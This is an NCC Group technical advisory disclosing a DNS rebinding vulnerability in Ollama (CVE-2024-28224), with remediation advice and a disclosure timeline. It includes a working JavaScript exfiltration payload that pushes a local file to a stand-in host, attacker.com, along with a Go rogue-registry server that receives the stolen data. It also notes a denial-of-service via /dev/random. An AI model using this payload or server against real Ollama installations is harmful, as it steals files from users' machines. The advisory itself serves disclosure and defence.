Technical Advisory – Ollama DNS Rebinding Attack (CVE-2024-28224)

Vendor: Ollama
Vendor URL: https://ollama.com/
Versions affected: Versions prior to v0.1.29
Systems Affected: All Ollama supported platforms
Author: Gérald Doussot
Advisory URL / CVE Identifier: CVE-2024-28224
Risk: High, Data Exfiltration

Summary:

Ollama is an open-source system for running and managing large language models (LLMs).

NCC Group identified a DNS rebinding vulnerability in Ollama that permits attackers to access its API without authorization, and perform various malicious activities, such as exfiltrating sensitive file data from vulnerable systems.

Ollama fixed this issue in release v0.1.29. Ollama users should update to this version, or later.

Impact:

The Ollama DNS rebinding vulnerability grants attackers full access to the Ollama API remotely, even if the vulnerable system is not configured to expose its API publicly. Access to the API permits attackers to exfiltrate file data present on the system running Ollama. Attackers can perform other unauthorized activities such as chatting with LLM models, deleting these models, and to cause a denial-of-service attack via resource exhaustion. DNS rebinding can happen in as little as 3 seconds once connected to a malicious web server.

Details:

Ollama is vulnerable to DNS rebinding attacks, which can be used to bypass the browser same-origin policy (SOP). Attackers can interact with the Ollama service, and invoke its API on a user desktop machine, or server.

Attackers must direct Ollama users running Ollama on their computers to connect to a malicious web server, via a regular, or headless web browser (for instance, in the context of a server-side web scraping application). The malicious web server performs the DNS rebinding attack to force the web browsers to interact with the vulnerable Ollama instance, and API, on the attackers’ behalf.

The Ollama API permits to manage and run local models. Several of its APIs have access to the file system and can pull/retrieve data from/to remote repositories. Once the DNS rebinding attack has been successful, attackers can sequence these APIs to read arbitrary file data accessible by the process under which Ollama runs, and exfiltrate this data to attacker-controlled systems.

NCC Group successfully implemented a proof-of-concept data exfiltration attack using the following steps:

Deploy NCC Group’s Singularity of Origin DNS rebinding application, which includes the components to configure a “malicious host”, and to perform DNS rebinding attacks.

Singularity requires the development of attack payloads to exploit specific applications such as Ollama, once DNS rebinding has been achieved. A proof-of-concept payload, written in JavaScript is provided below. Variable EXFILTRATION_URL, must be configured to point to an attacker-owned domain, such as attacker.com, to send the exfiltrated data, from the vulnerable host.

/**
This is a sample payload to exfiltrate files from hosts running Ollama
**/

const OllamaLLama2ExfilData = () => {

// Invoked after DNS rebinding has been performed
function attack(headers, cookie, body) {
if (headers !== null) {
console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
};
if (cookie !== null) {
console.log(`Origin: ${window.location} headers: ${cookie}`);
};
if (body !== null) {
console.log(`Origin: ${window.location} body:n${body}`);
};

let EXFILTRATION_URL = "http://attacker.com/myrepo/mymaliciousmodel";
sooFetch('/api/create', {
method: 'POST',
mode: "no-cors",
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: `{ "name": "${EXFILTRATION_URL}", "modelfile": "FROM llama2nSYSTEM You are a malicious model filenADAPTER /tmp/test.txt"}`
}).then(responseOKOrFail("Could not invoke /api/create"))
.then(function (d) { //data
console.log(d)
return sooFetch('/api/push', {
method: 'POST',
mode: "no-cors",
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: `{ "name": "${EXFILTRATION_URL}", "insecure": true}`
});
}).then(responseOKOrFail("Could not invoke /api/push"))
.then(function (d) { //data
console.log(d);
});
}

// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
if (body.includes("Ollama is running") === true) {
return true;
} else {
return false;
}
}

return {
attack,
isService
}
}

// Registry value and manager-config.json value must match
Registry["Ollama Llama2 Exfiltrate Data"] = OllamaLLama2ExfilData();

At a high-level, the payload invokes two Ollama APIs to exfiltrate data, as explained below.

Invoke the “Create a Model” API

The body of the request contains the following data:

 `{ "name": "${EXFILTRATION_URL}", "modelfile": "FROM llama2nSYSTEM You are a malicious model filenADAPTER /tmp/test.txt"}`

This request triggers the creation of a model in Ollama. Of note, the model is configured to load data from a file via the ADAPTER instruction, in parameter modelfile. This is the file we are going to exfiltrate, and in our example, an existing text file accessible via pathname /tmp/test.txt on the host running Ollama.

(As a side note the FROM instruction also supports filepath values, but was found to be unsuitable to exfiltrate data, as the FROM file content is validated by Ollama. This is not the case for the ADAPTER parameter. Note further that one can cause a denial-of-service attack via the FROM instruction, when specifying values such as /dev/random, remotely via DNS rebinding.)

The model name typically consists of a repository, and model name in the form repository/modelname. We found that we can specify a URL instead e.g. http://attacker.com/myrepo/mymaliciousmodel. This feature is seemingly present to permit sharing user developed models to other registries than the default https://registry.ollama.ai/ registry. Specifying “attacker.com” allows attackers to exfiltrate data to another (attacker-controlled) registry.

Upon completion of the call to the “Create a Model” API request, Ollama will have gathered a number of artifacts composing the newly created user model, including Large Language Model data, license data, etc., and our file to exfiltrate, all of them addressable by their SHA256 contents.

Invoke the “Push a Model” API

The body of the request contains the following data:

`{ "name": "${EXFILTRATION_URL}", "insecure": true}`

The name parameter remains the same as before. The insecure parameter is set to true to avoid having to configure an exfiltration host that is secured using TLS. This request will upload all artifacts of the created model, including model data, and the file to exfiltrate to the attacker host.

Exfiltration to Rogue LLM Registry

Ollama uses a different API to communicate with the registry (and in our case, the data exfiltration host). We wrote a proof-of-concept web server in the Go language, that implements enough of the registry API to receive the exfiltrated data and dump it in the terminal. It also lies to the Ollama client process in order to save bandwidth, and make the attack more efficient, by stating that it already has the LLM data (several GBs), based on known hashes of their contents.

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/http/httputil"
    "strings"
)

func main() {

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        
        reqDump, _ := httputil.DumpRequest(r, true)
        reqDumps := string(reqDump)
        fmt.Printf("REQUEST:n%s", reqDumps)

        host := r.Host

        switch r.Method {
        case "HEAD":
            if strings.Contains(reqDumps, "c70fa74a8e81c3bd041cc2c30152fe6e251fdc915a3792147147a5c06bc4b309") ||
                strings.Contains(reqDumps, "8934d96d3f08982e95922b2b7a2c626a1fe873d7c3b06e8e56d7bc0a1fef9246") {
                w.WriteHeader(http.StatusOK)
                return
            }
            w.WriteHeader(http.StatusNotFound)
            return
        case "POST", "PATCH":
            w.Header().Set("Docker-Upload-Location", fmt.Sprintf("http://%s/v2/repo/mod/blobs/uploads/whatever", host))
            w.Header().Set("Location", fmt.Sprintf("http://%s/v2/repo/mod/blobs/uploads/whatever", host))
            w.WriteHeader(http.StatusAccepted)
        default:
        
        }

        b, err := io.ReadAll(r.Body)
        if err != nil {
            panic(err)
        }

        fmt.Printf("Data: %s", b)
    })

    log.Fatal(http.ListenAndServe(":80", nil))

}

Recommendation:

Users should update to at least version v0.1.29 of Ollama, which fixed the DNS rebinding vulnerability.

For reference, NCC Group provided the following recommendations to Ollama to address the DNS rebinding vulnerability:

Use TLS on all services including localhost, if possible.

For services listening on any network interface, authentication should be required to prevent unauthorized access.

DNS rebinding attacks can also be prevented by validating the Host HTTP header on the server-side to only allow a set of authorized values. For services listening on the loopback interface, this set of whitelisted host values should only contain localhost, and all reserved numeric addresses for the loopback interface, including 127.0.0.1.

For instance, let’s say that a service is listening on address 127.0.0.1, TCP port 3000. Then, the service should check that all HTTP request Host header values strictly contain 127.0.0.1:3000 and/or localhost:3000. If the host header contains anything else, then the request should be denied.

Depending on the application deployment model, you may have to whitelist other or additional addresses such as 127.0.0.2, another reserved numeric address for the loopback interface.

Filtering DNS responses containing private, link-local or loopback addresses, both for IPv4 and IPv6, should not be relied upon as a primary defense mechanism against DNS rebinding attacks.

Vendor Communication:

  • 2024-03-08 – NCC Group emailed Ollama asking for security contact address.
  • 2024-03-08 – Ollama confirmed security contact address.
  • 2024-03-08 – NCC Group disclosed the issue to Ollama.
  • 2024-03-08 – Ollama indicated they are working on a fix.
  • 2024-03-08 – Ollama released a fix in Ollama GitHub repository main branch.
  • 2024-03-09 – NCC Group tested the fix, and informed Ollama that the fix successfully addressed the issue.
  • 2024-03-09 – Ollama informed NCC Group that they are working on a new release incorporating the fix.
  • 2024-03-11 – NCC Group emailed Ollama asking whether an 2024-04-08 advisory release date is suitable.
  • 2024-03-14 – Ollama released Ollama version v0.1.29, which includes the fix.
  • 2024-03-18 – NCC Group emailed Ollama asking to confirm whether an 2024-04-08 advisory release date is suitable.
  • 2024-03-23 – Ollama stated that the 2024-04-08 advisory release date tentatively worked. Ollama asked if later date suited, as they wanted to continue monitoring the rollout of the latest version of Ollama, to make sure enough users have updated ahead of the disclosure.
  • 2024-03-25 – NCC Group reiterated preference for 2024-04-08 advisory release date, noting that the code fix is visible to the public in the Ollama repository main branch since 2024-03-08.
  • 2024-04-04 – NCC Group sent an email indicating that the advisory will be published on 2024-04-08.
  • 2024-04-08 – NCC Group released security advisory.

Acknowledgements:

Thanks to the Ollama team, and Kevin Henry, Roger Meyer, Javed Samuel, and Ristin Rivera from NCC Group for their support during the disclosure process.

About NCC Group:

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

2024-04-08: Release date of advisory

Written by: Gérald Doussot




Source: Original Post